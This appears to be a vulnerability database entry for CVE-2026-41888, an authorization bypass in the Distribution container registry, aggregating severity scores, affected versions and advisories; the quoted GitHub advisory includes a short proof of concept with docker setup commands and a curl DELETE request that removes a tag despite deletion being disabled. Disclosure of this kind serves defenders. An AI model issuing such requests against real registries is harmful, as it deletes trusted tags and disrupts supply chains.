CVE-2026-41888
mediumPriorität · verfolgen · 26OT-Risiko · erhöhtEPSS 0.003 · 22. PerzentilEURUUSEPSS · bewertet 2026-10-27
Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. This vulnerability is fixed in 3.1.1.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · low–medium · 1.7–6.5
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (14)
Betroffene Produkte und Versionsbereiche.
- Go github.com/distribution/distributionalle VersionenosvUSpkg:golang/github.com/distribution/distribution
- Go github.com/distribution/distribution/v3< 3.1.1osvUSpkg:golang/github.com/distribution/distribution/v3
Advisories (3)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-6pjf-3r9x-m592Distribution's tag deletion bypasses `storage.delete.enabled` configuration2026-05-04ghsa · osvUS
### Summary Tag deletion via the `DELETE /v2/<name>/manifests/<tag>` endpoint bypasses the `storage.delete.enabled: false` configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. ### Details When `storage.delete.enabled` is configured to false, digest-based manifest deletion is correctly rejected by the guard in [registry/storage/linkedblobstore.go:212-215](https://github.com/distribution/distribution/blob/main/registry/storage/linkedblobstore.go#L213-L215). However, tag deletion takes a separate code path that never checks this setting: In [`registry/handlers/manifests.go:439-453`](https://github.com/distribution/distribution/blob/main/registry/handlers/manifests.go#L439-L453), `DeleteManifest` detects a tag reference, calls `tagService.Untag()`, returns, never consulting `registry.deleteEnabled`. In turn, [`tagStore.Untag()`](https://github.com/distribution/distribution/blob/main/registry/storage/tagstore.go#L111-L121) calls the storage driver directly to delete the tag path without checking whether deletes are enabled. ### PoC Using a paired down Distribution configuration that explicitly disables deletes, such as this one, stored as `config.yaml`: ```yaml version: 0.1 storage: delete: enabled: false filesystem: rootdirectory: /var/lib/registry http: addr: :5000 ``` Start a local Distribution, mounting in the above configuration from the current directory: ```shell docker run -p 5000:5000 -v "$(pwd)/config.yaml":/config.yaml --restart=always --name registry registry:3.1.0 /config.yaml ``` In a separate terminal session/tab, push `alpine:3.23` into the running instance: ```shell docker pull alpine:3.23 docker tag alpine:3.23 localhost:5000/alpine:3.23 docker push localhost:5000/alpine:3.23 ``` Confirm that the tag shows up as expected: ```shell curl 'http://localhost:5000/v2/alpine/tags/list' {"name":"alpine","tags":["3.23"]} ``` Issue a delete for the `3.23` tag: ```shell curl -X DELETE 'http://localhost:5000/v2/alpine/manifests/3.23' ``` Observe that the tag is now gone, despite deletes being disabled: ```shell curl 'http://localhost:5000/v2/alpine/tags/list' {"name":"alpine","tags":null} ``` ### Impact This is an authorization bypass vulnerability. Any client with network access to the registry can delete tags despite the operator having disabled deletion. This can cause denial of service for consumers pulling by tag and enables supply-chain disruption by removing trusted tags from a registry that the operator and/or users believed to be immutable.
- BIT-distribution-2026-41888Distribution: Tag deletion bypasses `storage.delete.enabled` configuration2026-08-18vendor · osvUS
Distribution is a toolkit to pack, ship, store, and deliver container content. Prior to 3.1.1, tag deletion via the DELETE /v2/<name>/manifests/<tag> endpoint bypasses the storage.delete.enabled: false configuration, allowing any API client to remove tags from repositories even when the operator has explicitly disabled deletion. This vulnerability is fixed in 3.1.1.
- GO-2026-5185Distribution's tag deletion bypasses `storage.delete.enabled` configuration in github.com/distribution/distribution2026-06-25vendor · osvUS
Distribution's tag deletion bypasses `storage.delete.enabled` configuration in github.com/distribution/distribution
auch bekannt als (7)
Weitere Namen und Kennungen dieser Entität.
- CNNVD-202605-3461cnnvd
- EUVD-2026-30341enisa_euvd
- BDU:2026-07972fstec_bdu
- GHSA-6pjf-3r9x-m592enisa_euvd
- BIT-distribution-2026-41888osv
- GHSA-6pjf-3r9x-m592osv
- GO-2026-5185osv
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (4)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/distribution/distribution/releasesPatchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-41888cnnvd
- https://github.com/distribution/distribution/security/advisories/GHSA-6pjf-3r9x-m592enisa_euvd
- https://github.com/distribution/distribution/security/advisories/GHSA-6pjf-3r9x-m592ExploitVendor Advisorynvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan